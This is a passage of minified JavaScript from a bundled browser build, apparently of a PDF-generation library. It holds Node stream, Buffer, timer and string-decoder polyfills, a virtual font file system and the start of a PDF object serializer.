                return n.objectMode || "string" != typeof t || (e = e || n.defaultEncoding) !== n.encoding && (t = M.from(t, e), e = ""), a(this, n, t, e, !1)
            }, o.prototype.unshift = function (t) {
                return a(this, this._readableState, t, "", !0)
            }, o.prototype.isPaused = function () {
                return this._readableState.flowing === !1
            }, o.prototype.setEncoding = function (t) {
                return N || (N = n(46).StringDecoder), this._readableState.decoder = new N(t), this._readableState.encoding = t, this
            };
            var W = 8388608;
            o.prototype.read = function (t) {
                D("read", t), t = parseInt(t, 10);
                var e = this._readableState, n = t;
                if (0 !== t && (e.emittedReadable = !1), 0 === t && e.needReadable && (e.length >= e.highWaterMark || e.ended)) return D("read: emitReadable", e.length, e.ended), 0 === e.length && e.ended ? C(this) : h(this), null;
                if (0 === (t = c(t, e)) && e.ended) return 0 === e.length && C(this), null;
                var r = e.needReadable;
                D("need readable", r), (0 === e.length || e.length - t < e.highWaterMark) && (r = !0, D("length less than watermark", r)), e.ended || e.reading ? (r = !1, D("reading or ended", r)) : r && (D("do read"), e.reading = !0, e.sync = !0, 0 === e.length && (e.needReadable = !0), this._read(e.highWaterMark), e.sync = !1, e.reading || (t = c(n, e)));
                var i;
                return i = t > 0 ? x(t, e) : null, null === i ? (e.needReadable = !0, t = 0) : e.length -= t, 0 === e.length && (e.ended || (e.needReadable = !0), n !== t && e.ended && C(this)), null !== i && this.emit("data", i), i
            }, o.prototype._read = function (t) {
                this.emit("error", new Error("_read() is not implemented"))
            }, o.prototype.pipe = function (t, n) {
                function i(t) {
                    D("onunpipe"), t === h && a()
                }

                function o() {
                    D("onend"), t.end()
                }

                function a() {
                    D("cleanup"), t.removeListener("close", c), t.removeListener("finish", l), t.removeListener("drain", y), t.removeListener("error", u), t.removeListener("unpipe", i), h.removeListener("end", o), h.removeListener("end", a), h.removeListener("data", s), m = !0, !p.awaitDrain || t._writableState && !t._writableState.needDrain || y()
                }

                function s(e) {
                    D("ondata"), b = !1, !1 !== t.write(e) || b || ((1 === p.pipesCount && p.pipes === t || p.pipesCount > 1 && P(p.pipes, t) !== -1) && !m && (D("false write response, pause", h._readableState.awaitDrain), h._readableState.awaitDrain++, b = !0), h.pause())
                }

                function u(e) {
                    D("onerror", e), f(), t.removeListener("error", u), 0 === B(t, "error") && t.emit("error", e)
                }

                function c() {
                    t.removeListener("finish", l), f()
                }

                function l() {
                    D("onfinish"), t.removeListener("close", c), f()
                }

                function f() {
                    D("unpipe"), h.unpipe(t)
                }

                var h = this, p = this._readableState;
                switch (p.pipesCount) {
                    case 0:
                        p.pipes = t;
                        break;
                    case 1:
                        p.pipes = [p.pipes, t];
                        break;
                    default:
                        p.pipes.push(t)
                }
                p.pipesCount += 1, D("pipe count=%d opts=%j", p.pipesCount, n);
                var d = (!n || n.end !== !1) && t !== e.stdout && t !== e.stderr, g = d ? o : a;
                p.endEmitted ? O(g) : h.once("end", g), t.on("unpipe", i);
                var y = v(h);
                t.on("drain", y);
                var m = !1, b = !1;
                return h.on("data", s), r(t, "error", u), t.once("close", c), t.once("finish", l), t.emit("pipe", h), p.flowing || (D("pipe resume"), h.resume()), t
            }, o.prototype.unpipe = function (t) {
                var e = this._readableState;
                if (0 === e.pipesCount) return this;
                if (1 === e.pipesCount) return t && t !== e.pipes ? this : (t || (t = e.pipes), e.pipes = null, e.pipesCount = 0, e.flowing = !1, t && t.emit("unpipe", this), this);
                if (!t) {
                    var n = e.pipes, r = e.pipesCount;
                    e.pipes = null, e.pipesCount = 0, e.flowing = !1;
                    for (var i = 0; i < r; i++) n[i].emit("unpipe", this);
                    return this
                }
                var o = P(e.pipes, t);
                return o === -1 ? this : (e.pipes.splice(o, 1), e.pipesCount -= 1, 1 === e.pipesCount && (e.pipes = e.pipes[0]), t.emit("unpipe", this), this)
            }, o.prototype.on = function (t, e) {
                var n = L.prototype.on.call(this, t, e);
                if ("data" === t) this._readableState.flowing !== !1 && this.resume(); else if ("readable" === t) {
                    var r = this._readableState;
                    r.endEmitted || r.readableListening || (r.readableListening = r.needReadable = !0, r.emittedReadable = !1, r.reading ? r.length && h(this) : O(y, this))
                }
                return n
            }, o.prototype.addListener = o.prototype.on, o.prototype.resume = function () {
                var t = this._readableState;
                return t.flowing || (D("resume"), t.flowing = !0, m(this, t)), this
            }, o.prototype.pause = function () {
                return D("call pause flowing=%j", this._readableState.flowing), !1 !== this._readableState.flowing && (D("pause"), this._readableState.flowing = !1, this.emit("pause")), this
            }, o.prototype.wrap = function (t) {
                var e = this._readableState, n = !1, r = this;
                t.on("end", function () {
                    if (D("wrapped end"), e.decoder && !e.ended) {
                        var t = e.decoder.end();
                        t && t.length && r.push(t)
                    }
                    r.push(null)
                }), t.on("data", function (i) {
                    if (D("wrapped data"), e.decoder && (i = e.decoder.write(i)), (!e.objectMode || null !== i && void 0 !== i) && (e.objectMode || i && i.length)) {
                        r.push(i) || (n = !0, t.pause())
                    }
                });
                for (var i in t) void 0 === this[i] && "function" == typeof t[i] && (this[i] = function (e) {
                    return function () {
                        return t[e].apply(t, arguments)
                    }
                }(i));
                return E(["error", "close", "destroy", "pause", "resume"], function (e) {
                    t.on(e, r.emit.bind(r, e))
                }), r._read = function (e) {
                    D("wrapped _read", e), n && (n = !1, t.resume())
                }, r
            }, o._fromList = x
        }).call(e, n(34))
    }, function (t, e, n) {
        (function (e) {
            "use strict";

            function n(t, n, r, i) {
                if ("function" != typeof t) throw new TypeError('"callback" argument must be a function');
                var o, a, s = arguments.length;
                switch (s) {
                    case 0:
                    case 1:
                        return e.nextTick(t);
                    case 2:
                        return e.nextTick(function () {
                            t.call(null, n)
                        });
                    case 3:
                        return e.nextTick(function () {
                            t.call(null, n, r)
                        });
                    case 4:
                        return e.nextTick(function () {
                            t.call(null, n, r, i)
                        });
                    default:
                        for (o = new Array(s - 1), a = 0; a < o.length;) o[a++] = arguments[a];
                        return e.nextTick(function () {
                            t.apply(null, o)
                        })
                }
            }

            !e.version || 0 === e.version.indexOf("v0.") || 0 === e.version.indexOf("v1.") && 0 !== e.version.indexOf("v1.8.") ? t.exports = n : t.exports = e.nextTick
        }).call(e, n(34))
    }, function (t, e, n) {
        (function (t) {
            "use strict";
            var r = n(2), i = r.Buffer, o = r.SlowBuffer, a = r.kMaxLength || 2147483647;
            e.alloc = function (t, e, n) {
                if ("function" == typeof i.alloc) return i.alloc(t, e, n);
                if ("number" == typeof n) throw new TypeError("encoding must not be number");
                if ("number" != typeof t) throw new TypeError("size must be a number");
                if (t > a) throw new RangeError("size is too large");
                var r = n, o = e;
                void 0 === o && (r = void 0, o = 0);
                var s = new i(t);
                if ("string" == typeof o) for (var u = new i(o, r), c = u.length, l = -1; ++l < t;) s[l] = u[l % c]; else s.fill(o);
                return s
            }, e.allocUnsafe = function (t) {
                if ("function" == typeof i.allocUnsafe) return i.allocUnsafe(t);
                if ("number" != typeof t) throw new TypeError("size must be a number");
                if (t > a) throw new RangeError("size is too large");
                return new i(t)
            }, e.from = function (e, n, r) {
                if ("function" == typeof i.from && (!t.Uint8Array || Uint8Array.from !== i.from)) return i.from(e, n, r)
                    ;
                if ("number" == typeof e) throw new TypeError('"value" argument must not be a number');
                if ("string" == typeof e) return new i(e, n);
                if ("undefined" != typeof ArrayBuffer && e instanceof ArrayBuffer) {
                    var o = n;
                    if (1 === arguments.length) return new i(e);
                    void 0 === o && (o = 0);
                    var a = r;
                    if (void 0 === a && (a = e.byteLength - o), o >= e.byteLength) throw new RangeError("'offset' is out of bounds");
                    if (a > e.byteLength - o) throw new RangeError("'length' is out of bounds");
                    return new i(e.slice(o, o + a))
                }
                if (i.isBuffer(e)) {
                    var s = new i(e.length);
                    return e.copy(s, 0, 0, e.length), s
                }
                if (e) {
                    if (Array.isArray(e) || "undefined" != typeof ArrayBuffer && e.buffer instanceof ArrayBuffer || "length" in e) return new i(e);
                    if ("Buffer" === e.type && Array.isArray(e.data)) return new i(e.data)
                }
                throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")
            }, e.allocUnsafeSlow = function (t) {
                if ("function" == typeof i.allocUnsafeSlow) return i.allocUnsafeSlow(t);
                if ("number" != typeof t) throw new TypeError("size must be a number");
                if (t >= a) throw new RangeError("size is too large");
                return new o(t)
            }
        }).call(e, function () {
            return this
        }())
    }, function (t, e, n) {
        (function (t) {
            function n(t) {
                return Array.isArray ? Array.isArray(t) : "[object Array]" === v(t)
            }

            function r(t) {
                return "boolean" == typeof t
            }

            function i(t) {
                return null === t
            }

            function o(t) {
                return null == t
            }

            function a(t) {
                return "number" == typeof t
            }

            function s(t) {
                return "string" == typeof t
            }

            function u(t) {
                return "symbol" == typeof t
            }

            function c(t) {
                return void 0 === t
            }

            function l(t) {
                return "[object RegExp]" === v(t)
            }

            function f(t) {
                return "object" == typeof t && null !== t
            }

            function h(t) {
                return "[object Date]" === v(t)
            }

            function p(t) {
                return "[object Error]" === v(t) || t instanceof Error
            }

            function d(t) {
                return "function" == typeof t
            }

            function g(t) {
                return null === t || "boolean" == typeof t || "number" == typeof t || "string" == typeof t || "symbol" == typeof t || void 0 === t
            }

            function v(t) {
                return Object.prototype.toString.call(t)
            }

            e.isArray = n, e.isBoolean = r, e.isNull = i, e.isNullOrUndefined = o, e.isNumber = a, e.isString = s, e.isSymbol = u, e.isUndefined = c, e.isRegExp = l, e.isObject = f, e.isDate = h, e.isError = p, e.isFunction = d, e.isPrimitive = g, e.isBuffer = t.isBuffer
        }).call(e, n(2).Buffer)
    }, function (t, e) {
    }, function (t, e, n) {
        "use strict";

        function r() {
            this.head = null, this.tail = null, this.length = 0
        }

        var i = (n(2).Buffer, n(37));
        t.exports = r, r.prototype.push = function (t) {
            var e = {data: t, next: null};
            this.length > 0 ? this.tail.next = e : this.head = e, this.tail = e, ++this.length
        }, r.prototype.unshift = function (t) {
            var e = {data: t, next: this.head};
            0 === this.length && (this.tail = e), this.head = e, ++this.length
        }, r.prototype.shift = function () {
            if (0 !== this.length) {
                var t = this.head.data;
                return 1 === this.length ? this.head = this.tail = null : this.head = this.head.next, --this.length, t
            }
        }, r.prototype.clear = function () {
            this.head = this.tail = null, this.length = 0
        }, r.prototype.join = function (t) {
            if (0 === this.length) return "";
            for (var e = this.head, n = "" + e.data; e = e.next;) n += t + e.data;
            return n
        }, r.prototype.concat = function (t) {
            if (0 === this.length) return i.alloc(0);
            if (1 === this.length) return this.head.data;
            for (var e = i.allocUnsafe(t >>> 0), n = this.head, r = 0; n;) n.data.copy(e, r), r += n.data.length, n = n.next;
            return e
        }
    }, function (t, e, n) {
        "use strict";

        function r(t) {
            if (!(this instanceof r)) return new r(t);
            c.call(this, t), l.call(this, t), t && t.readable === !1 && (this.readable = !1), t && t.writable === !1 && (this.writable = !1), this.allowHalfOpen = !0, t && t.allowHalfOpen === !1 && (this.allowHalfOpen = !1), this.once("end", i)
        }

        function i() {
            this.allowHalfOpen || this._writableState.ended || s(o, this)
        }

        function o(t) {
            t.end()
        }

        var a      = Object.keys || function (t) {
            var e = [];
            for (var n in t) e.push(n);
            return e
        };
        t.exports  = r;
        var s      = n(36), u = n(38);
        u.inherits = n(32);
        var c      = n(35), l = n(42);
        u.inherits(r, c);
        for (var f = a(l.prototype), h = 0; h < f.length; h++) {
            var p = f[h];
            r.prototype[p] || (r.prototype[p] = l.prototype[p])
        }
    }, function (t, e, n) {
        (function (e, r) {
            "use strict";

            function i() {
            }

            function o(t, e, n) {
                this.chunk = t, this.encoding = e, this.callback = n, this.next = null
            }

            function a(t, e) {
                _ = _ || n(41), t = t || {}, this.objectMode = !!t.objectMode, e instanceof _ && (this.objectMode = this.objectMode || !!t.writableObjectMode);
                var r = t.highWaterMark, i = this.objectMode ? 16 : 16384;
                this.highWaterMark = r || 0 === r ? r : i, this.highWaterMark = ~~this.highWaterMark, this.needDrain = !1, this.ending = !1, this.ended = !1, this.finished = !1;
                var o = t.decodeStrings === !1;
                this.decodeStrings = !o, this.defaultEncoding = t.defaultEncoding || "utf8", this.length = 0, this.writing = !1, this.corked = 0, this.sync = !0, this.bufferProcessing = !1, this.onwrite = function (t) {
                    g(e, t)
                }, this.writecb = null, this.writelen = 0, this.bufferedRequest = null, this.lastBufferedRequest = null, this.pendingcb = 0, this.prefinished = !1, this.errorEmitted = !1, this.bufferedRequestCount = 0, this.corkedRequestsFree = new k(this)
            }

            function s(t) {
                if (_ = _ || n(41), !(L.call(s, this) || this instanceof _)) return new s(t);
                this._writableState = new a(t, this), this.writable = !0, t && ("function" == typeof t.write && (this._write = t.write), "function" == typeof t.writev && (this._writev = t.writev)), P.call(this)
            }

            function u(t, e) {
                var n = new Error("write after end");
                t.emit("error", n), C(e, n)
            }

            function c(t, e, n, r) {
                var i = !0, o = !1;
                return null === n ? o = new TypeError("May not write null values to stream") : "string" == typeof n || void 0 === n || e.objectMode || (o = new TypeError("Invalid non-string/buffer chunk")), o && (t.emit("error", o), C(r, o), i = !1), i
            }

            function l(t, e, n) {
                return t.objectMode || t.decodeStrings === !1 || "string" != typeof e || (e = T.from(e, n)), e
            }

            function f(t, e, n, r, i, a) {
                n || (r = l(e, r, i), O.isBuffer(r) && (i = "buffer"));
                var s = e.objectMode ? 1 : r.length;
                e.length += s;
                var u = e.length < e.highWaterMark;
                if (u || (e.needDrain = !0), e.writing || e.corked) {
                    var c = e.lastBufferedRequest;
                    e.lastBufferedRequest = new o(r, i, a), c ? c.next = e.lastBufferedRequest : e.bufferedRequest = e.lastBufferedRequest, e.bufferedRequestCount += 1
                } else h(t, e, !1, s, r, i, a);
                return u
            }

            function h(t, e, n, r, i, o, a) {
                e.writelen = r, e.writecb = a, e.writing = !0, e.sync = !0, n ? t._writev(i, e.onwrite) : t._write(i, o, e.onwrite), e.sync = !1
            }

            function p(t, e, n, r, i) {
                --e.pendingcb, n ? C(i, r) : i(r), t._writableState.errorEmitted = !0, t.emit("error", r)
            }

            function d(t) {
                t.writing = !1, t.writecb = null, t.length -= t.writelen, t.writelen = 0
            }

            function g(t, e) {
                var n = t._writableState, r = n.sync, i = n.writecb;
                if (d(n), e) p(t, n, r, e, i); else {
                    var o = b(n);
                    o || n.corked || n.bufferProcessing || !n.bufferedRequest || m(t, n), r ? A(v, t, n, o, i) : v(t, n, o, i)
                }
            }

            function v(t, e, n, r) {
                n || y(t, e), e.pendingcb--, r(), x(t, e)
            }

            function y(t, e) {
                0 === e.length && e.needDrain && (e.needDrain = !1, t.emit("drain"))
            }

            function m(t, e) {
                e.bufferProcessing = !0;
                var n              = e.bufferedRequest;
                if (t._writev && n && n.next) {
                    var r   = e.bufferedRequestCount, i = new Array(r), o = e.corkedRequestsFree;
                    o.entry = n;
                    for (var a = 0; n;) i[a] = n, n = n.next, a += 1;
                    h(t, e, !0, e.length, i, "", o.finish), e.pendingcb++, e.lastBufferedRequest = null, o.next ? (e.corkedRequestsFree = o.next, o.next = null) : e.corkedRequestsFree = new k(e)
                } else {
                    for (; n;) {
                        var s = n.chunk, u = n.encoding, c = n.callback;
                        if (h(t, e, !1, e.objectMode ? 1 : s.length, s, u, c), n = n.next, e.writing) break
                    }
                    null === n && (e.lastBufferedRequest = null)
                }
                e.bufferedRequestCount = 0, e.bufferedRequest = n, e.bufferProcessing = !1
            }

            function b(t) {
                return t.ending && 0 === t.length && null === t.bufferedRequest && !t.finished && !t.writing
            }

            function w(t, e) {
                e.prefinished || (e.prefinished = !0, t.emit("prefinish"))
            }

            function x(t, e) {
                var n = b(e);
                return n && (0 === e.pendingcb ? (w(t, e), e.finished = !0, t.emit("finish")) : w(t, e)), n
            }

            function S(t, e, n) {
                e.ending = !0, x(t, e), n && (e.finished ? C(n) : t.once("finish", n)), e.ended = !0, t.writable = !1
            }

            function k(t) {
                var e = this;
                this.next = null, this.entry = null, this.finish = function (n) {
                    var r = e.entry;
                    for (e.entry = null; r;) {
                        var i = r.callback;
                        t.pendingcb--, i(n), r = r.next
                    }
                    t.corkedRequestsFree ? t.corkedRequestsFree.next = e : t.corkedRequestsFree = e
                }
            }

            t.exports       = s;
            var _, C        = n(36), A = !e.browser && ["v0.10", "v0.9."].indexOf(e.version.slice(0, 5)) > -1 ? r : C;
            s.WritableState = a;
            var E           = n(38);
            E.inherits      = n(32);
            var P, I        = {deprecate: n(45)};
            !function () {
                try {
                    P = n(30)
                } catch (t) {
                } finally {
                    P || (P = n(31).EventEmitter)
                }
            }();
            var O = n(2).Buffer, T = n(37);
            E.inherits(s, P), a.prototype.getBuffer = function () {
                for (var t = this.bufferedRequest, e = []; t;) e.push(t), t = t.next;
                return e
            }, function () {
                try {
                    Object.defineProperty(a.prototype, "buffer", {
                        get: I.deprecate(function () {
                            return this.getBuffer()
                        }, "_writableState.buffer is deprecated. Use _writableState.getBuffer instead.")
                    })
                } catch (t) {
                }
            }();
            var L;
            "function" == typeof Symbol && Symbol.hasInstance && "function" == typeof Function.prototype[Symbol.hasInstance] ? (L = Function.prototype[Symbol.hasInstance], Object.defineProperty(s, Symbol.hasInstance, {
                value: function (t) {
                    return !!L.call(this, t) || t && t._writableState instanceof a
                }
            })) : L = function (t) {
                return t instanceof this
            }, s.prototype.pipe = function () {
                this.emit("error", new Error("Cannot pipe, not readable"))
            }, s.prototype.write = function (t, e, n) {
                var r = this._writableState, o = !1, a = O.isBuffer(t);
                return "function" == typeof e && (n = e, e = null), a ? e = "buffer" : e || (e = r.defaultEncoding), "function" != typeof n && (n = i), r.ended ? u(this, n) : (a || c(this, r, t, n)) && (r.pendingcb++, o = f(this, r, a, t, e, n)), o
            }, s.prototype.cork = function () {
                this._writableState.corked++
            }, s.prototype.uncork = function () {
                var t = this._writableState;
                t.corked && (t.corked--, t.writing || t.corked || t.finished || t.bufferProcessing || !t.bufferedRequest || m(this, t))
            }, s.prototype.setDefaultEncoding = function (t) {
                if ("string" == typeof t && (t = t.toLowerCase()), !(["hex", "utf8", "utf-8", "ascii", "binary", "base64", "ucs2", "ucs-2", "utf16le", "utf-16le", "raw"].indexOf((t + "").toLowerCase()) > -1)) throw new TypeError("Unknown encoding: " + t);
                return this._writableState.defaultEncoding = t, this
            }, s.prototype._write = function (t, e, n) {
                n(new Error("_write() is not implemented"))
            }, s.prototype._writev = null, s.prototype.end = function (t, e, n) {
                var r = this._writableState;
                "function" == typeof t ? (n = t, t = null, e = null) : "function" == typeof e && (n = e, e = null), null !== t && void 0 !== t && this.write(t, e), r.corked && (r.corked = 1, this.uncork()), r.ending || r.finished || S(this, r, n)
            }
        }).call(e, n(34), n(43).setImmediate)
    }, function (t, e, n) {
        function r(t, e) {
            this._id = t, this._clearFn = e
        }

        var i = Function.prototype.apply;
        e.setTimeout = function () {
            return new r(i.call(setTimeout, window, arguments), clearTimeout)
        }, e.setInterval = function () {
            return new r(i.call(setInterval, window, arguments), clearInterval)
        }, e.clearTimeout = e.clearInterval = function (t) {
            t && t.close()
        }, r.prototype.unref = r.prototype.ref = function () {
        }, r.prototype.close = function () {
            this._clearFn.call(window, this._id)
        }, e.enroll = function (t, e) {
            clearTimeout(t._idleTimeoutId), t._idleTimeout = e
        }, e.unenroll = function (t) {
            clearTimeout(t._idleTimeoutId), t._idleTimeout = -1
        }, e._unrefActive = e.active = function (t) {
            clearTimeout(t._idleTimeoutId);
            var e = t._idleTimeout;
            e >= 0 && (t._idleTimeoutId = setTimeout(function () {
                t._onTimeout && t._onTimeout()
            }, e))
        }, n(44), e.setImmediate = setImmediate, e.clearImmediate = clearImmediate
    }, function (t, e, n) {
        (function (t, e) {
            !function (t, n) {
                "use strict";

                function r(t) {
                    "function" != typeof t && (t = new Function("" + t));
                    for (var e = new Array(arguments.length - 1), n = 0; n < e.length; n++) e[n] = arguments[n + 1];
                    var r = {callback: t, args: e};
                    return c[u] = r, s(u), u++
                }

                function i(t) {
                    delete c[t]
                }

                function o(t) {
                    var e = t.callback, r = t.args;
                    switch (r.length) {
                        case 0:
                            e();
                            break;
                        case 1:
                            e(r[0]);
                            break;
                        case 2:
                            e(r[0], r[1]);
                            break;
                        case 3:
                            e(r[0], r[1], r[2]);
                            break;
                        default:
                            e.apply(n, r)
                    }
                }

                function a(t) {
                    if (l) setTimeout(a, 0, t); else {
                        var e = c[t];
                        if (e) {
                            l = !0;
                            try {
                                o(e)
                            } finally {
                                i(t), l = !1
                            }
                        }
                    }
                }

                if (!t.setImmediate) {
                    var s, u = 1, c = {}, l = !1, f = t.document, h = Object.getPrototypeOf && Object.getPrototypeOf(t);
                    h = h && h.setTimeout ? h : t, "[object process]" === {}.toString.call(t.process) ? function () {
                        s = function (t) {
                            e.nextTick(function () {
                                a(t)
                            })
                        }
                    }() : function () {
                        if (t.postMessage && !t.importScripts) {
                            var e = !0, n = t.onmessage;
                            return t.onmessage = function () {
                                e = !1
                            }, t.postMessage("", "*"), t.onmessage = n, e
                        }
                    }() ? function () {
                        var e = "setImmediate$" + Math.random() + "$", n = function (n) {
                            n.source === t && "string" == typeof n.data && 0 === n.data.indexOf(e) && a(+n.data.slice(e.length))
                        };
                        t.addEventListener ? t.addEventListener("message", n, !1) : t.attachEvent("onmessage", n), s = function (n) {
                            t.postMessage(e + n, "*")
                        }
                    }() : t.MessageChannel ? function () {
                        var t = new MessageChannel;
                        t.port1.onmessage = function (t) {
                            a(t.data)
                        }, s = function (e) {
                            t.port2.postMessage(e)
                        }
                    }() : f && "onreadystatechange" in f.createElement("script") ? function () {
                        var t = f.documentElement;
                        s     = function (e) {
                            var n = f.createElement("script");
                            n.onreadystatechange = function () {
                                a(e), n.onreadystatechange = null, t.removeChild(n), n = null
                            }, t.appendChild(n)
                        }
                    }() : function () {
                        s = function (t) {
                            setTimeout(a, 0, t)
                        }
                    }(), h.setImmediate = r, h.clearImmediate = i
                }
            }("undefined" == typeof self ? void 0 === t ? this : t : self)
        }).call(e, function () {
            return this
        }(), n(34))
    }, function (t, e) {
        (function (e) {
            function n(t, e) {
                function n() {
                    if (!i) {
                        if (r("throwDeprecation")) throw new Error(e);
                        r("traceDeprecation"), i = !0
                    }
                    return t.apply(this, arguments)
                }

                if (r("noDeprecation")) return t;
                var i = !1;
                return n
            }

            function r(t) {
                try {
                    if (!e.localStorage) return !1
                } catch (t) {
                    return !1
                }
                var n = e.localStorage[t];
                return null != n && "true" === String(n).toLowerCase()
            }

            t.exports = n
        }).call(e, function () {
            return this
        }())
    }, function (t, e, n) {
        function r(t) {
            if (t && !u(t)) throw new Error("Unknown encoding: " + t)
        }

        function i(t) {
            return t.toString(this.encoding)
        }

        function o(t) {
            this.charReceived = t.length % 2, this.charLength = this.charReceived ? 2 : 0
        }

        function a(t) {
            this.charReceived = t.length % 3, this.charLength = this.charReceived ? 3 : 0
        }

        var s = n(2).Buffer, u = s.isEncoding || function (t) {
            switch (t && t.toLowerCase()) {
                case"hex":
                case"utf8":
                case"utf-8":
                case"ascii":
                case"binary":
                case"base64":
                case"ucs2":
                case"ucs-2":
                case"utf16le":
                case"utf-16le":
                case"raw":
                    return !0;
                default:
                    return !1
            }
        }, c  = e.StringDecoder = function (t) {
            switch (this.encoding = (t || "utf8").toLowerCase().replace(/[-_]/, ""), r(t), this.encoding) {
                case"utf8":
                    this.surrogateSize = 3;
                    break;
                case"ucs2":
                case"utf16le":
                    this.surrogateSize = 2, this.detectIncompleteChar = o;
                    break;
                case"base64":
                    this.surrogateSize = 3, this.detectIncompleteChar = a;
                    break;
                default:
                    return void(this.write = i)
            }
            this.charBuffer = new s(6), this.charReceived = 0, this.charLength = 0
        };
        c.prototype.write = function (t) {
            for (var e = ""; this.charLength;) {
                var n = t.length >= this.charLength - this.charReceived ? this.charLength - this.charReceived : t.length;
                if (t.copy(this.charBuffer, this.charReceived, 0, n), this.charReceived += n, this.charReceived < this.charLength) return "";
                t = t.slice(n, t.length), e = this.charBuffer.slice(0, this.charLength).toString(this.encoding);
                var r = e.charCodeAt(e.length - 1);
                if (!(r >= 55296 && r <= 56319)) {
                    if (this.charReceived = this.charLength = 0, 0 === t.length) return e;
                    break
                }
                this.charLength += this.surrogateSize, e = ""
            }
            this.detectIncompleteChar(t);
            var i = t.length;
            this.charLength && (t.copy(this.charBuffer, 0, t.length - this.charReceived, i), i -= this.charReceived), e += t.toString(this.encoding, 0, i);
            var i = e.length - 1, r = e.charCodeAt(i);
            if (r >= 55296 && r <= 56319) {
                var o = this.surrogateSize;
                return this.charLength += o, this.charReceived += o, this.charBuffer.copy(this.charBuffer, o, 0, o), t.copy(this.charBuffer, 0, 0, o), e.substring(0, i)
            }
            return e
        }, c.prototype.detectIncompleteChar = function (t) {
            for (var e = t.length >= 3 ? 3 : t.length; e > 0; e--) {
                var n = t[t.length - e];
                if (1 == e && n >> 5 == 6) {
                    this.charLength = 2;
                    break
                }
                if (e <= 2 && n >> 4 == 14) {
                    this.charLength = 3;
                    break
                }
                if (e <= 3 && n >> 3 == 30) {
                    this.charLength = 4;
                    break
                }
            }
            this.charReceived = e
        }, c.prototype.end = function (t) {
            var e = "";
            if (t && t.length && (e = this.write(t)), this.charReceived) {
                var n = this.charReceived, r = this.charBuffer, i = this.encoding;
                e += r.slice(0, n).toString(i)
            }
            return e
        }
    }, function (t, e, n) {
        "use strict";

        function r(t) {
            this.afterTransform = function (e, n) {
                return i(t, e, n)
            }, this.needTransform = !1, this.transforming = !1, this.writecb = null, this.writechunk = null, this.writeencoding = null
        }

        function i(t, e, n) {
            var r          = t._transformState;
            r.transforming = !1;
            var i          = r.writecb;
            if (!i) return t.emit("error", new Error("no writecb in Transform class"));
            r.writechunk = null, r.writecb = null, null !== n && void 0 !== n && t.push(n), i(e);
            var o = t._readableState;
            o.reading = !1, (o.needReadable || o.length < o.highWaterMark) && t._read(o.highWaterMark)
        }

        function o(t) {
            if (!(this instanceof o)) return new o(t);
            s.call(this, t), this._transformState = new r(this);
            var e = this;
            this._readableState.needReadable = !0, this._readableState.sync = !1, t && ("function" == typeof t.transform && (this._transform = t.transform), "function" == typeof t.flush && (this._flush = t.flush)), this.once("prefinish", function () {
                "function" == typeof this._flush ? this._flush(function (t, n) {
                    a(e, t, n)
                }) : a(e)
            })
        }

        function a(t, e, n) {
            if (e) return t.emit("error", e);
            null !== n && void 0 !== n && t.push(n);
            var r = t._writableState, i = t._transformState;
            if (r.length) throw new Error("Calling transform done when ws.length != 0");
            if (i.transforming) throw new Error("Calling transform done when still transforming");
            return t.push(null)
        }

        t.exports = o;
        var s     = n(41), u = n(38);
        u.inherits = n(32), u.inherits(o, s), o.prototype.push = function (t, e) {
            return this._transformState.needTransform = !1, s.prototype.push.call(this, t, e)
        }, o.prototype._transform = function (t, e, n) {
            throw new Error("_transform() is not implemented")
        }, o.prototype._write = function (t, e, n) {
            var r = this._transformState;
            if (r.writecb = n, r.writechunk = t, r.writeencoding = e, !r.transforming) {
                var i = this._readableState;
                (r.needTransform || i.needReadable || i.length < i.highWaterMark) && this._read(i.highWaterMark)
            }
        }, o.prototype._read = function (t) {
            var e = this._transformState;
            null !== e.writechunk && e.writecb && !e.transforming ? (e.transforming = !0, this._transform(e.writechunk, e.writeencoding, e.afterTransform)) : e.needTransform = !0
        }
    }, function (t, e, n) {
        "use strict";

        function r(t) {
            if (!(this instanceof r)) return new r(t);
            i.call(this, t)
        }

        t.exports = r;
        var i     = n(47), o = n(38);
        o.inherits = n(32), o.inherits(r, i), r.prototype._transform = function (t, e, n) {
            n(null, t)
        }
    }, function (t, e, n) {
        t.exports = n(42)
    }, function (t, e, n) {
        t.exports = n(41)
    }, function (t, e, n) {
        t.exports = n(47)
    }, function (t, e, n) {
        t.exports = n(48)
    }, function (t, e, n) {
        (function (e, n) {
            "use strict";

            function r() {
                this.fileSystem = {}, this.baseSystem = {}
            }

            function i(t) {
                return 0 === t.indexOf(n) && (t = t.substring(n.length)), 0 === t.indexOf("/") && (t = t.substring(1)), t
            }

            r.prototype.readFileSync = function (t) {
                t     = i(t);
                var n = this.baseSystem[t];
                if (n) return new e(n, "base64");
                var r = this.fileSystem[t];
                if (r) return r;
                throw"File '" + t + "' not found in virtual file system"
            }, r.prototype.writeFileSync = function (t, e) {
                this.fileSystem[i(t)] = e
            }, r.prototype.bindFS = function (t) {
                this.baseSystem = t || {}
            }, t.exports = new r
        }).call(e, n(2).Buffer, "/")
    }, function (t, e, n) {
        (function (e) {
            (function () {
                var r, i;
                r = function () {
                    function t() {
                    }

                    var n, r, o, a;
                    return o = function (t, e) {
                        return (Array(e + 1).join("0") + t).slice(-e)
                    }, r = /[\n\r\t\b\f\(\)\\]/g, n = {"\n": "\\n", "\r": "\\r", "\t": "\\t", "\b": "\\b", "\f": "\\f", "\\": "\\\\", "(": "\\(", ")": "\\)"}, a = function (t) {
                        var e, n, r, i, o;
                        if (1 & (i = t.length)) throw new Error("Buffer length must be even");
                        for (n = r = 0, o = i - 1; r < o; n = r += 2) e = t[n], t[n] = t[n + 1], t[n + 1] = e;
                        return t
                    }, t.convert = function (s) {
                        var u, c, l, f, h, p, d, g, v;
                        if ("string" == typeof s) return "/" + s;
                        if (s instanceof String) {
                            for (g = s.replace(r, function (t) {
                                return n[t]
                            }), l = !1, c = f = 0, d = g.length; f < d; c = f += 1) if (g.charCodeAt(c) > 127) {
                                l = !0;
                                break
                            }
                            return l && (g = a(new e("\ufeff" + g, "utf16le")).toString("binary")), "(" + g + ")"
                        }
                        if (e.isBuffer(s)) return "<" + s.toString("hex") + ">";
                        if (s instanceof i) return s.toString();
                        if (s instanceof Date) return "(D:" + o(s.getUTCFullYear(), 4) + o(s.getUTCMonth() + 1, 2) + o(s.getUTCDate(), 2) + o(s.getUTCHours(), 2) + o(s.getUTCMinutes(), 2) + o(s.getUTCSeconds(), 2) + "Z)";
                        if (Array.isArray(s)) return "[" + function () {
                            var e, n, r;
                            for (r = [], e = 0, n = s.length; e < n; e++) u = s[e], r.push(t.convert(u));
